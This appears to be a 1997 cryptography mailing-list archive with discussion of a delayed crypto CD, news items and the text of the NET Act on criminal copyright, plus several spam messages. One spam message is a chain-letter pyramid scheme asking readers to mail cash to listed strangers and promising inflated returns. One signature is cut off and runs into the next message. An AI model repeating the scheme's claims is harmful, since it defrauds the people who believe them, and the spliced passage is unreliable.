From GetFOD at 1-703-736-1600Doc825  Wed Dec 17 22:28:51 1997
From: GetFOD at 1-703-736-1600Doc825 (GetFOD at 1-703-736-1600Doc825)
Date: Wed, 17 Dec 1997 22:28:51 -0800 (PST)
Subject: - POWERFUL HOME BASED MONEY MAKER -
Message-ID: <93110376_10798818>



                  *********************************

THIS IS IT!!!

THE EASIEST HANDS OFF OPPORTUNITY AVAILABLE TODAY. Absolutely NO
recruiting or selling involved. This is the most powerful money 
producer available anywhere, WITH A FULL 90 DAY MONEY BACK 
GUARANTEE. Check it out !!!

You Won't Have To Worry About Money Ever Again!! Take 2 Minutes
To Find Out!!! Call Toll Free 1-888-248-1794 or (888) 693-5490.

FOD 703-736-1600 Document 825

P.S. Hold on to your email. You'll need this control number (CO0661EM)

PLEASE READ MY UPLINE'S TESTOMONIAL

*******************
Dear Friends: For the past 2 years, I've put countless hours into
numerous business ventures and MLM. Yet I have never achieved true
success. then I found a program, where anyone can succeed immediately
and put profit in their pockets almost overnight! This gets better
and better every day. During my short time with this company, I re-
ceived a profit check of $4579.83 after my second month. I didn't have
to worry about the headaches of sponsoring people. I signed the
application and immediately the company went to work for me.

Prosperous regards,
LSG
*************

Sincerely
Corky
Control # CO0661EM






From sunder at brainlink.com  Wed Dec 17 07:19:58 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 17 Dec 1997 23:19:58 +0800
Subject: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: 



On Wed, 17 Dec 1997, Mike Gurski wrote:

> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?

Not me.  I ordered both the crypto CD and the latest Dr. Dobbs on CD (back
issues and such) at the same time.  I got the Dr Dobbs Mag CD about two
months ago, but no crypto CD. :(


You might wanto check Remo Pini's Crypto CD.  It doesn't have the books
online, but plenty of cyphers and stuff. (rpini.com ??)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From jehorton at erols.com  Wed Dec 17 07:22:07 1997
From: jehorton at erols.com (John Horton)
Date: Wed, 17 Dec 1997 23:22:07 +0800
Subject: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: <3497EBB8.5CD7@erols.com>



I just got off the phone with DDJ - according to the sales person "the
editors are preparing a letter to explain the delay". 

Seems kind of strange that it is taking so long.  Of note - The sales
person indicated that there has been no mention of pulling the product.

Regards,
John Horton



Mike Gurski wrote:
> 
> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?
> 
> --
> Michael Gurski                            mailto:gurski at solipsys.com
> Solipsys Corporation                         http://www.solipsys.com
> 6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
> Laurel, MD  20707-2929                             fax:(301)483-8901






From declan at well.com  Wed Dec 17 07:22:21 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 17 Dec 1997 23:22:21 +0800
Subject: Browsing Under the Influence, from the Netly News
Message-ID: 





*********

http://cgi.pathfinder.com/netly/opinion/0,1042,1638,00.html

The Netly News Network (http://netlynews.com/)
December 16, 1997

Browsing Under the Influence            
by Tom Deerfield and Mark Dolley
                                             
        When Andre Khalifi and Chuck Haddad applied to open the
   CyberLounge in Fountain Valley, Ca., serving gourmet food with a cigar
   menu, Internet access and a full bar, they expected the community to
   enthusiastically embrace the proposal. Instead, their alcohol and
   Internet cocktail met with fierce opposition from local residents who
   saw the business as a potential threat to their safety.

       "How are we going to protect our women after these guys get
   liquored up, look at pornography and then roam the neighborhood late
   at night?" asked one resident at a public hearing.

        The Fountain Valley Police Department was worried too. Detective
   Sergeant Paul McGinnis -- a participant in the planning process -- was
   skeptical about "uncontrolled Internet access" from the get-go,
   according to Khalifi. McGinnis confirmed his concerns over the
   pornography question: "I've never actually been on the Internet, but
   my understanding is that you can get just about anything you want on
   there."

[...]








From declan at well.com  Wed Dec 17 07:51:30 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 17 Dec 1997 23:51:30 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
Message-ID: 




************

http://cgi.pathfinder.com/netly/opinion/0,1042,1641,00.html

The Netly News Network (http://netlynews.com/)
December 17, 1997

Penance for Pirates
by Declan McCullagh (declan at well.com)

        When it comes to protecting his company's computer software,
   nobody compares with Bill Gates. Not only is the nation's richest man
   thumbing his nose at government antitrust lawyers, but he's also
   toasting his latest victory: a draconian antipiracy bill that
   President Clinton signed yesterday.

        Piloted through Congress by the deep pockets of the software,
   motion picture and recording industries, the law punishes unapproved
   "reproduction or distribution" of books, magazines, software, music or
   videos. The painful penalties must bring a smile to the face of
   software executives: fines of up to $250,000 and five years in federal
   prison.

        While you're cooling your heels in Club Fed, you'll have plenty
   of time to consider your misdeeds -- which in this case could have
   been making just three copies of Microsoft Office (cost: $360 each).
   If it's any consolation, you'll have plenty of company. Joining you
   will be anyone who "willfully" infringes copyrights worth at least
   $1,000 within a six-month period, with stiffer penalties if the total
   jumps to $2,500.

        Ouch. The cost of prosecuting millions of malfeasants has led
   critics to wonder, sensibly enough, if the FBI's time could be better
   spent chasing violent criminals. After all, software companies can
   (and do) sue copyright infringers already. "This is a dreadful piece
   of legislation," says David Post, a law professor at Temple University
   who teaches copyright law. "Congress is doing exactly what they
   shouldn't be doing: reacting in a panic and saying there's so much
   copyright infringement we need to throw people in jail."

[...]








From broadcast at SYMANTEC.COM  Thu Dec 18 00:01:10 1997
From: broadcast at SYMANTEC.COM (broadcast at SYMANTEC.COM)
Date: Thu, 18 Dec 1997 00:01:10 -0800 (PST)
Subject: A Special Holiday Offer from Symantec!
Message-ID: <199712162252.OAA09856@lserver.symantec.com>


Dear Symantec Customer,

We wanted to let you know about a special offer on our NEW Norton
Utilities(TM) 3.0 for Windows(R) 95. For a limited time, we would like
to offer you this unrivaled problem-solving software for only
$49.95-that's $30 off the Estimated Retail Price of $79.95! Simply call
1-800-631-8119 and mention Priority Code W386 to order your copy today.
You'll even get FREE shipping and handling--- a savings of $9.95!

By installing Norton Utilities 3.0 for Windows(R) 95, you can have more
power and control over your computing environment! With new features
like these, Norton Utilities 3.0 can give you the broadest, most
thorough problem detection you'll find anywhere:

- Unrivaled PROBLEM-SOLVING capabilities
- New Optimization Tools to SPEED UP your PC
- The industry's most TRUSTED disaster recovery tools
- And dozens of NEW and IMPROVED features that can enhance performance
  and prevent disasters!

You have nothing to lose, except your data, so we hope you take
advantage of this great offer today to experience the new benefits of
Norton Utilities 3.0 and ensure the safety of your computing
environment tomorrow. And don't forget, when you order today, you'll
also get FREE shipping and handling! Make sure to mention Priority Code
W386 when you call 1-800-631-8119! You can also purchase Norton
Utilities 3.0 for Windows 95 at your local computer software reseller
between December 15, 1997 and December 31, 1997 and use this letter to
receive a $30 mail-in rebate off the Purchase Price. Simply attach your
valid sales receipt and the original UPC symbol to this letter, along
with your name, address, phone number and signature, then mail it to:
Symantec Rebate Center, Attn: Norton Utilities 3.0 Rebate Offer, P.O.
Box 52907, Dept. 12604, Phoenix, AZ, 85072-2907.


Wishing you a productive holiday season!

Sincerely,
All of us at Symantec

P.S. If for any reason you're not completely satisfied with Norton
Utilities, simply return it within 60 days for a full refund.

Terms and Conditions: 1. Limit one rebate or special offer direct
purchase per name, address, household or company. Rebate offer is valid
only for standalone, full version purchases of Norton Utilities 3.0 for
Windows 95 between December 15, 1997 and December 31, 1997 in the U.S.
only. Offer not available with site licenses, NFRs, OEM, 10 packs,
upgrade offers or academic offers. Offer not available to resellers. No
special pricing will qualify. Offer not valid with any other Symantec
offer. Rebate request must be postmarked by January 31, 1998. 2. As
proof of purchase please include the following: a. Original print-out
of this letter with your name, address, phone number and signature,
facsimiles and Xerox copies will not be accepted, b. original UPC bar
code from product purchased (found on box), c. original or copy of
dated sales receipt. Your receipt/bill of sale must be either
typewritten or computer-generated. Handwritten or altered documents
will not be accepted. 3. Any request forms lost or misdirect

To check the status on your rebate submission, please call the Rebate
Status Hotline: 1-800-494-8825. Allow 8 to 10 weeks for delivery. Valid
only in the U.S.

Symantec reserves the right to modify or withdraw this promotion at any time.

System Requirements: IBM PC or 100% compatible; Windows 95 or later
(this product will not run under DOS, Windows 3.x or Windows NT); 80486
or higher; 8 MB RAM required (16 MB recommended); 45 MB hard disk space
for typical installation; 35 MB hard disk space for compact
installation; Double-speed or higher CD-ROM drive; Sound card optional;
256-color VGA or better video.

Offer valid in U.S. only and expires December 31, 1997. Offer not valid
with any other promotion, rebate or special offer. Symantec reserves
the right to modify or withdraw this promotion at any time. Allow 2-3
weeks for delivery.

Symantec, the Symantec logo and Norton Utilities are U.S. registered
trademarks of Symantec Corporation. Windows is a registered trademark
of Microsoft Corporation. Other brands and products are trademarks of
their respective holder(s). Copyright 1997 Symantec Corporation. All
rights reserved.

You have received this message because you downloaded a trial version
of Symantec software. At the time, you expressed an interest in
receiving current information on Symantec products as it became
available.

DO NOT REPLY TO THIS MESSAGE. This email account is for sending
messages only. It is not monitored and no replies will be made to any
messages sent to this account. If you require Customer Service or
Technical Support, please check the Symantec web site for contact
information.

To be removed from this broadcast email list, please visit
http://www.symantec.com/help/subscribe.html and unsubscribe from
"Electronic Bulletin Subscriptions".





From net789 at goplay.com  Thu Dec 18 00:02:45 1997
From: net789 at goplay.com (net789 at goplay.com)
Date: Thu, 18 Dec 1997 00:02:45 -0800 (PST)
Subject: We Do All The Work And You Collect All The Cash
Message-ID: <73447V9128M@mail.san.rr.com>


If you're NOT currently looking for an income opportunity, then just 
delete this message.

If you ARE looking for an income opportunity, then...

WELCOME TO THE HOTTEST CASH GENERATING PROGRAM ON THE INTERNET!

I'm sure that this is not the first opportunity that you have 
ever run across that claims that you can make a lot of cash, 
very quickly. But, this just might be the only program you'll 
ever run across, that can actually make that happen.

Every other cash generating program that you've ever run across
was probably doomed from the start, for 3 simple reasons.
	
	1) You needed to dedicate a lot more time and effort into 
	   the marketing of your program, than you originally planned.
	2) You needed to invest a lot more money into the marketing of 
           your program, than you originally expected.
	3) Your success depended solely on you. And, unless you're 
	   a marketing expert, your expected level of success just 
	   wasn't going to be achieved.  

Well, that's where our expertise comes in. We here at Internet Marketing 
Services, have been asked to develop an effective marketing system that 
would require virtually no effort and very little capital. 
 
We are proud to tell you, that our experience in this industry has 
enabled us to create a very low cost, high response, marketing program, 
that blows away traditional methods of network marketing and advertising.

The secret to becoming successful in any business is to get your message 
to as many people as possible, in a cost effective manner. Through our 
creative advertising program were able to greatly reduce our costs and 
we are simply passing the savings on to you. 

IT'S REALLY AMAZING HOW EASY THIS IS AND HOW BEAUTIFULLY IT WORKS!

By compounding our efforts and combining your advertising along with 
other income opportunity seekers wanting to participate in this highly
profitable program, Internet Marketing Services is now able to offer you 
the best Internet marketing rates available anywhere.

HERE'S HOW IT WORKS. Multi-level marketing is still used by some of the 
largest companies in the world today; Amway, Excel and Avon, just to name
a few. This highly effective, multi-level business provides you the same 
type of opportunity. A business that offers a proven cash generating 
program, complete with a low cost internet marketing service. THIS IS 
THE SECRET TO YOUR SUCCESS! 

If a new customer decides to participate in your program, they simply 
send you a $5.00 commission. And the best part is, we do all the hard 
work for you, you just collect your cash. 

As with all multi-level businesses, your income is generated by recruiting 
new customers that have the same interest as you. The desire to create a 
large cash income. And, every state in the USA allows us to legally 
recruit for you, via the Internet.

For an extremely low fee of only $35.00, we will market this highly
profitable opportunity to 750,000 people with your name and address 
inserted into the mailing. Then you just go to your mailbox and collect 
your cash. That's all there is to it.

HERE'S HOW YOUR ADVERTISING DOLLARS COMPOUND. In each mailing your 
name will be included with 2 other distributors. We will then advertise 
your opportunity to 250,000 people, in 3 seperate mailings. So your 
opportunity will be offered to 750,000 different people. 

EXAMPLE:

Mailing #1:       250,000 People
Mailing #2:       250,000 People
Mailing #3:       250,000 People
FOR A TOTAL OF:   750,000 People

NOW, LET'S COMPARE COSTS. If you were to send your offer through the 
postal service, it would cost you $240,000.00, in postage alone.

The typical e-mail company charges 1-2 dollars per 1000 addresses 
mailed to. That would be a minimum of $750.00. 

Other methods could be even more expensive than using the postal service.

As you now can see, by compounding your advertising dollars with other
income opportunity seekers, it allows us to offer you a cost effective
way to cash in on a proven income generating program. And remember, we
do all the work for you. You just go to the mailbox and collect your cash.

THIS IS A LEGITIMATE MONEY MAKING OPPORTUNITY. It does not require you 
to come into contact with people, do any hard work, and best of all  
you never have to leave the house except to get the mail. This 
multi-level, e-mail order, marketing program works perfectly, every time. 
E-mail is the ultimate sales tool of the future, and the future is now!

If you ever wanted "THE EASY WAY" to make a lot of money...
just follow these 3 easy steps using this sure fire system!

STEP 1: Send $5.00 in "CASH", NO CHECKS PLEASE, to each of the 3 
distributors below. Just like new customers will be sending to you, 
once your name has been placed onto the mailing. Also, include a seperate 
sheet of paper with your name as it is to appear on this mailing, along 
with the words, " I WOULD LIKE TO SUBSCRIBE TO YOUR INCOME 
OPPORTUNITY NETWORKING SERVICE." Once the 3 distributors 
receive your $5.00 payment, they will each e-mail us your name, verifying 
that you have paid them their commission. This service also eliminates 
the possibility of anyone replacing any existing names on the mailing.

#1:            
J. Ferguson
PO Box 271
Woodstock, GA 30188-0271

#2:
Tobias Enterprises
PO Box 1134
Broomfield, CO 80038

#3:
C. Heier
815 Franklin Ave.
Ellenton, FL 34222

STEP 2: Send $35.00, along with your name and address as you want it to 
appear on this mailing. (You can use your full name, your initials, a 
business name or what ever you prefer) Once we receive your payment and 
verification via e-mail that you paid each distributor their commission; 
we will automatically position your name and address through all 3 
mailings until this offer has been e-mailed to 750,000 people. 

Be sure to include your e-mail address. Once we receive your payment, we 
will e-mail you our priority e-mail address. This is how you will notify us
that you received your payment from customers that want to paticipate in 
your program. This is a fool-proof system that eliminates anyone from 
using your service without paying you your $5.00 commission.
 
You can use this program as many times, and as often as you like. 
By doing this, it is possilbe to create a perpetual cash income.
And yes, we accept personal checks.

Make check payable to and send to:

Internet Marketing Services
2375 E.Tropicana #135
Las Vegas, NV 89119
 		 
Please note, Internet Marketing Services does not participate in your 
offer, nor do we share in your income in any way. Internet Marketing 
Services is a low cost, internet marketing provider only.

STEP 3: Go to your mailbox daily and collect your cash.

MAKING MONEY JUST DOESN'T GET ANY EASIER THAN THIS!

By now your probably asking yourself, "how much money can I really make?"

Below are the results of an Internet survey conducted by www.survey.net:

50% of the people on the Internet have made purchases, 40% have made 
several purchases, 80% like the idea of shopping on the Internet, 50% 
of those purchases are computer information related, 50% think of e-mail 
as their second most important application, 20% have made purchases 
because "I came across it and I liked it, so i bought it."

POSSIBLE EARNINGS PER 750,000 E-MAILS

1%      Response @  7,500 X $5.00 = $37,500
1/2%    Response @  3,750 X $5.00 = $18,750
1/4%    Response @  1,875 X $5.00 = $ 9,375
1/8%    Response @    938 X $5.00 = $ 4,690

HOW MANY RESPONSES DO YOU THINK YOU WILL RECEIVE?

As more and more people look for ways to create wealth and financial
security, the need for a successful income opportunity is constantly in 
demand.

If you're fed up with the high cost of marketing and advertising then why 
not take advantage of this powerful opportunity and start creating wealth 
for you and your family.

We hope that you are one of those unique individuals that does more than
just dream about creating wealth and has the foresight to see what an 
incredible money making opportunity that this really is, requiring no
effort and a very small investment. 

JUST IMAGINE WHAT YOU AND YOUR FAMILY CAN DO WITH ALL THAT CASH!

FREE WEBSITE:

Would you like to create your own website for business or personal use?

Just go to www.freeyellow.com and follow the prompts.


































From fred35 at hexagon.net  Thu Dec 18 00:18:03 1997
From: fred35 at hexagon.net (fred35 at hexagon.net)
Date: Thu, 18 Dec 1997 00:18:03 -0800 (PST)
Subject: Computer Show Invitation Oakland 1290B
Message-ID: <1290B>


+++++++++++++++++++++++++++++++++++++++++ 1290 B   ++++++++++
Reply with REM0VE in the subject if you do not wish to receive tickets for future shows.
+++++++++++++++++++++++++++++++++++++++++ 1290 B   ++++++++++

Dear Computer User

Come to THIS show and SAVE when you SHOP FOR CHRISTMAS ! ! !

Hello. My name is Fred Hansen of the Robert Austin Computer Show Corporation. I would like to extend to you a personal invitation to come to the San Francisco Bay Area to attend the Computer Show at the OAKLAND CONVENTION CENTER in Oakland CA. Saturday Dec. 20, 1997. The show hours are 10:00 AM to 4:00 PM There is NO CHARGE FOR ADMISSION. This show is THE place to find the latest equipment and information for COMPUTER USE and the INTERNET. It is Northern California's largest Computer Show with wholesale prices available to the public.

The perfect LOW COST place to shop for CHRISTMAS ! ! !

++++++++++++++++++++++++++++++++++++++++++++++++++++1290 B   ++++

Approximately 50 computer dealers and manufacturers assemble at this facility to present their products to you. These vendors compete with each other to bring you the very latest technology and selection at the lowest possible prices. Seminars are held by major INTERNET SERVICE PROVIDERS to answer questions for you. If you are interested in PURCHASING COMPUTER EQUIPMENT or accessing the INTERNET you should attend this show and see for yourself. 

For show information on the web Visit us at http://www.robertaustin.com 
Bookmark this site to get up to the minute show information and directions.

Email me back (mailto: fred35 at hexagon.net) and let me know what you think after you see the show. I am looking for your input regarding seminar topics and other items you would like to see in future shows. If you have questions please visit our web site at http://www.robertaustin.com 

++++++++++++++++++++++++++++++++++++++++++++++++++++1290 B   ++++

Please make as many copies of this ticket as needed and 
BRING YOUR FRIENDS to the show with copies of this ticket.

++++++++++++++++++++++++++++++++++++++++++++++++++++1290 B   ++++

Fill this ticket out and bring it for your PRE REGISTERED admission. It can be used for either of the following two COMPUTER SHOWS. No further registration is required.

OAKLAND CONVENTION CENTER
10th and Broadway, Down Town Oakland in the Beautiful Marriott Hotel
Dec. 20, 1997
Jan. 17, 1998

COW PALACE
Geneva and Santos in Daly City
Jan. 10, 1997  Lower Level enter Gate 5
Feb. 14, 1998  Lower Level enter Gate 5

				(Ticket Below)
Cut Ticket Here>= = = = = = = = = = = = = = = = = = = = = = 

Name__________________________________________________

Address ________________________________________________

City ________________________ State _______ Zip ___________

Telephone ______________________________________________

Email address ___________________________________________

Age ___ Sex ___ Annual household income _____k$

Do you own a computer Y/N ____

Business use Y/N ___  Home use Y/N ____

Are you satisfied with your Internet service Y/N __

				(Ticket Above)
Cut Ticket Here>= = = = = = = = = = = = = = = = = = = = = = 

++++++++  Special Show Features  +++++++++++++++++++++++++++1290 B   ++++

TRADESPACE
To save 20% to 50% on your Holiday PC Purchases check the values found at:
http://www.tradespace.com/rasindex.html
Come to the show and meet the Show Co-Sponsor TradeSpace Inc. 
We recommend that you check the values at this web site so you
are prepared to shop and compare at the show. Visit and bookmark this site.!!!!!!!!!

LASER POINTERS
Special introduction a this show. The PERFECT HIGH TECH CHRISTMAS GIFT
for the technical person in your life. Preview them at:
http://www.calpaclab.com/compushow

+++++++++ WHAT YOU WILL SEE ++++++++++++++++++++++++ 1290 B   ++++

BUSINESS COMPUTER AND INTERNET USE
If you use the computer or Internet at your company this is the 
place to learn about them and buy.

DON'T PAY RETAIL PRICES FOR YOUR COMPUTER NEEDS.
FABULOUS PRICES--- 40 Companies all bringing their best 
selection of merchandise and selling at rock bottom prices. 
DON'T MISS THE BARGAINS. NO LOWER COMPUTER 
PRICES IN THE BAY AREA. Wholesale to 
the public. Save up to 90% on new name brand equipment.

HARDWARE Huge selection of computer systems, and 
accessories sold at rock bottom prices

SOFTWARE  You will not find a better selection of computer software
including CD ROM's anywhere, being sold at prices that you must see to believe.

BOOKS FOR COMPUTER AND INTERNET Webster books is bringing the
largest selection ever of computer and Internet Books to the show. Over 10,000
volumes are being sold at wholesale prices (20% off list)

HUGE SELECTION --- 40 Companies bring their best selection 
of products and latest technology for you to see.

BAY AREAS LARGEST COMPUTER SHOW

FREE INTERNET SEMINARS -- These seminars will provide you with the latest
information on Internet topics. Come and talk face to face with the technical people
from the Bay Areas Premiere Internet Service Providers. 

EXPERT ASSISTANCE -- Are you tired of purchasing products from stores with
clerks that have no product knowledge. Each of the vendors has personal knowledge of
their products for immediate answers to your questions.

SPECIAL CUTTING EDGE TECHNOLOGY product introductions. 
You will see manufacturers representatives introducing the latest of their products,
computers, & lasers, home entertainment.

+++++++++++  SEMINAR SCHEDULE +++++++++++++++ 1290 B   ++++++++++

10:30	Beginners Internet. - Everything you need to know to get started on the Internet.

11:30	Web Authoring.-How to build a web site using Microsoft Front Page 97. 
	See live demos of web pages being built before your eyes.

12:30	Business Internet Use - Connecting your business to the Internet, ISDN, T1, 
	Dedicated and dial up access, Connecting your office network to the Internet, 
	Multiple Internet E-mail Accounts.

  1:30 E-Commerce "Secure Financial Transactions"

  2:30	Web Authoring.-How to build a web site using Microsoft Front Page 97. 
	See live demos of web pages being built before your eyes.

These seminars are presented for the computer show attendee
at NO CHARGE. Join the Internet revolution. Attend to learn how.

Looking forward to seeing you.
Best Regards 
(mailto:fred35 at hexagon.net)
Fred Hansen

++++++++++++++++++++++++++++++++++++++++++++++++++++ 1290 B   ++++








From ryan at michonline.com  Wed Dec 17 08:27:50 1997
From: ryan at michonline.com (Ryan Anderson)
Date: Thu, 18 Dec 1997 00:27:50 +0800
Subject: Dr. Dobbs Crypto CD
In-Reply-To: <199712171325.IAA08971@bastion.solipsys.com>
Message-ID: 



On Wed, 17 Dec 1997, Mike Gurski wrote:

> Has anyone received their DDJ crypto CD that's been advertised for the
> past half year?


Not me.  I ordered back in August, and haven't heard anything since..

> 
> 
> --
> Michael Gurski                            mailto:gurski at solipsys.com
> Solipsys Corporation                         http://www.solipsys.com
> 6100 Chevy Chase Drive, Suite 200                phone:(301)483-0423
> Laurel, MD  20707-2929                             fax:(301)483-8901
> 
> 


Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 



On Tue, 16 Dec 1997, John Young wrote:

> Peter Gutmann wrote:
> 
> >There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
> >claims that UK spooks invented both RSA and DH in 1973 and 1974 respectively.
> 
> We've converted the Ellis Postscript doc to HTML:
> 
>      http://jya.com/ellisdoc.htm

Can patents be revoked due to prior art arguments?

Jim Burnes







From sunder at brainlink.com  Wed Dec 17 09:39:52 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 18 Dec 1997 01:39:52 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: 




On Wed, 17 Dec 1997, Declan McCullagh wrote:

>         Piloted through Congress by the deep pockets of the software,
>    motion picture and recording industries, the law punishes unapproved
>    "reproduction or distribution" of books, magazines, software, music or
>    videos. The painful penalties must bring a smile to the face of
>    software executives: fines of up to $250,000 and five years in federal
>    prison.

Let's see, you record a Bevis and Butthead marathon on MTV one night
because you aren't home and watch it, then let your friend borrow it and
you're in jail.

You have a CD player at home and use a walkwan when walking around, so you
tape your CD's so you can listen to them. Wham! Instant jail time.

So that pretty much puts 75% of those who own a walkman and a stereo
system in jail.

Kids copying articles out of magazines (or industry newsletters) in
libraries or university libraries wind up in jail.  That's about 99% of
anyone going to college (the 1% would be the ones that go for frats and
kegs only and can't read.)

Where does Fair Use fall into this?  Do you have the actual wording of
this law?  So if some dork publisher decides that you can't download their
shareware/freeware after the fact because he doesn't like you, he can say
it wasn't approved?



=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder at sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================






From pooh at efga.org  Wed Dec 17 10:40:19 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 18 Dec 1997 02:40:19 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19971217133345.032b4d48@mail.atl.bellsouth.net>



At 12:37 PM 12/17/97 -0500, Ray Arachelian wrote:
>Where does Fair Use fall into this?  Do you have the actual wording of
>this law?

Here is a copy of the law.

No Electronic Theft (NET) Act (Enrolled Bill (Sent to President)) 
H.R.2265 
One Hundred Fifth Congress
of the
United States of America
AT THE FIRST SESSION

Begun and held at the City of Washington on Tuesday, the seventh day of
January, one thousand nine hundred and ninety-seven 

An Act 

To amend the provisions of titles 17 and 18, United States Code, to provide
greater copyright protection by amending criminal copyright infringement
provisions, and for other purposes. 

     Be it enacted by the Senate and House of Representatives of the United
States of America in Congress assembled,

SECTION 1. SHORT TITLE.

     This Act may be cited as the `No Electronic Theft (NET) Act'.

SEC. 2. CRIMINAL INFRINGEMENT OF COPYRIGHTS.

     (a) DEFINITION OF FINANCIAL GAIN- Section 101 of title 17, United
States Code, is amended by inserting after the undesignated paragraph
relating to the term `display', the following new paragraph:

          `The term `financial gain' includes receipt, or expectation of
receipt, of anything of value, including the receipt of other copyrighted
works.'.

     (b) CRIMINAL OFFENSES- Section 506(a) of title 17, United States Code,
is amended to read as follows:

     `(a) CRIMINAL INFRINGEMENT- Any person who infringes a copyright
willfully either--

          `(1) for purposes of commercial advantage or private financial
gain, or

          `(2) by the reproduction or distribution, including by electronic
means, during any 180-day period, of 1 or more copies or phonorecords of 1
or more copyrighted works, which have a total retail value of more than
$1,000,

     shall be punished as provided under section 2319 of title 18, United
States Code. For purposes of this subsection, evidence
     of reproduction or distribution of a copyrighted work, by itself,
shall not be sufficient to establish willful infringement.'.

     (c) LIMITATION ON CRIMINAL PROCEEDINGS- Section 507(a) of title 17,
United States Code, is amended by striking `three' and inserting `5'.

     (d) CRIMINAL INFRINGEMENT OF A COPYRIGHT- Section 2319 of title 18,
United States Code, is amended--

          (1) in subsection (a), by striking `subsection (b)' and inserting
`subsections (b) and (c)';

          (2) in subsection (b)--

               (A) in the matter preceding paragraph (1), by striking
`subsection (a) of this section' and inserting `section 506(a)(1) of title
17'; and

               (B) in paragraph (1)--

                    (i) by inserting `including by electronic means,' after
`if the offense consists of the reproduction or distribution,'; and

                    (ii) by striking `with a retail value of more than
$2,500' and inserting `which have a total retail value of more than
$2,500'; and

          (3) by redesignating subsection (c) as subsection (e) and
inserting after subsection (b) the following:

     `(c) Any person who commits an offense under section 506(a)(2) of
title 17, United States Code--

          `(1) shall be imprisoned not more than 3 years, or fined in the
amount set forth in this title, or both, if the offense consists of the
reproduction or distribution of 10 or more copies or phonorecords of 1 or
more copyrighted works, which have a total retail value of $2,500 or more;

          `(2) shall be imprisoned not more than 6 years, or fined in the
amount set forth in this title, or both, if the offense is a second or
subsequent offense under paragraph (1); and

          `(3) shall be imprisoned not more than 1 year, or fined in the
amount set forth in this title, or both, if the offense consists of the
reproduction or distribution of 1 or more copies or phonorecords of 1 or
more copyrighted works, which have a total retail value of more than $1,000.

     `(d)(1) During preparation of the presentence report pursuant to Rule
32(c) of the Federal Rules of Criminal Procedure, victims of the offense
shall be permitted to submit, and the probation officer shall receive, a
victim impact statement that identifies the victim of the offense and the
extent and scope of the injury and loss suffered by the victim, including the
     estimated economic impact of the offense on that victim.

     `(2) Persons permitted to submit victim impact statements shall include--

          `(A) producers and sellers of legitimate works affected by
conduct involved in the offense;

          `(B) holders of intellectual property rights in such works; and

          `(C) the legal representatives of such producers, sellers, and
holders.'.

     (e) UNAUTHORIZED FIXATION AND TRAFFICKING OF LIVE MUSICAL
PERFORMANCES- Section 2319A of title 18, United States Code, is amended--

          (1) by redesignating subsections (d) and (e) as subsections (e)
and (f), respectively; and

          (2) by inserting after subsection (c) the following:

     `(d) VICTIM IMPACT STATEMENT- (1) During preparation of the
presentence report pursuant to Rule 32(c) of the Federal Rules of Criminal
Procedure, victims of the offense shall be permitted to submit, and the
probation officer shall receive, a victim impact statement that identifies
the victim of the offense and the extent and scope of the injury and loss
suffered by the victim, including the estimated economic impact of the
offense on that victim.

     `(2) Persons permitted to submit victim impact statements shall include--

          `(A) producers and sellers of legitimate works affected by
conduct involved in the offense;

          `(B) holders of intellectual property rights in such works; and

          `(C) the legal representatives of such producers, sellers, and
holders.'.

     (f) TRAFFICKING IN COUNTERFEIT GOODS OR SERVICES- Section 2320 of
title 18, United States Code, is amended--

          (1) by redesignating subsections (d) and (e) as subsections (e)
and (f), respectively; and

          (2) by inserting after subsection (c) the following:

     `(d)(1) During preparation of the presentence report pursuant to Rule
32(c) of the Federal Rules of Criminal Procedure, victims of the offense
shall be permitted to submit, and the probation officer shall receive, a
victim impact statement that identifies the victim of the offense and the
extent and scope of the injury and loss suffered by the victim, including
the estimated economic impact of the offense on that victim.

     `(2) Persons permitted to submit victim impact statements shall include--

          `(A) producers and sellers of legitimate goods or services
affected by conduct involved in the offense;

          `(B) holders of intellectual property rights in such goods or
services; and

          `(C) the legal representatives of such producers, sellers, and
holders.'.

     (g) DIRECTIVE TO SENTENCING COMMISSION- (1) Under the authority of the
Sentencing Reform Act of 1984 (Public Law 98-473; 98 Stat. 1987) and
section 21 of the Sentencing Act of 1987 (Public Law 100-182; 101 Stat.
1271; 18 U.S.C. 994 note) (including the authority to amend the sentencing
guidelines and policy statements), the United States Sentencing Commission
shall ensure that the applicable guideline range for a defendant convicted
of a crime against intellectual property (including offenses set forth at
section 506(a) of title 17, United States Code, and sections 2319, 2319A,
and 2320 of title 18, United States Code) is sufficiently stringent to
deter such a crime and to adequately reflect the additional considerations
set forth in paragraph (2) of this subsection.

     (2) In implementing paragraph (1), the Sentencing Commission shall
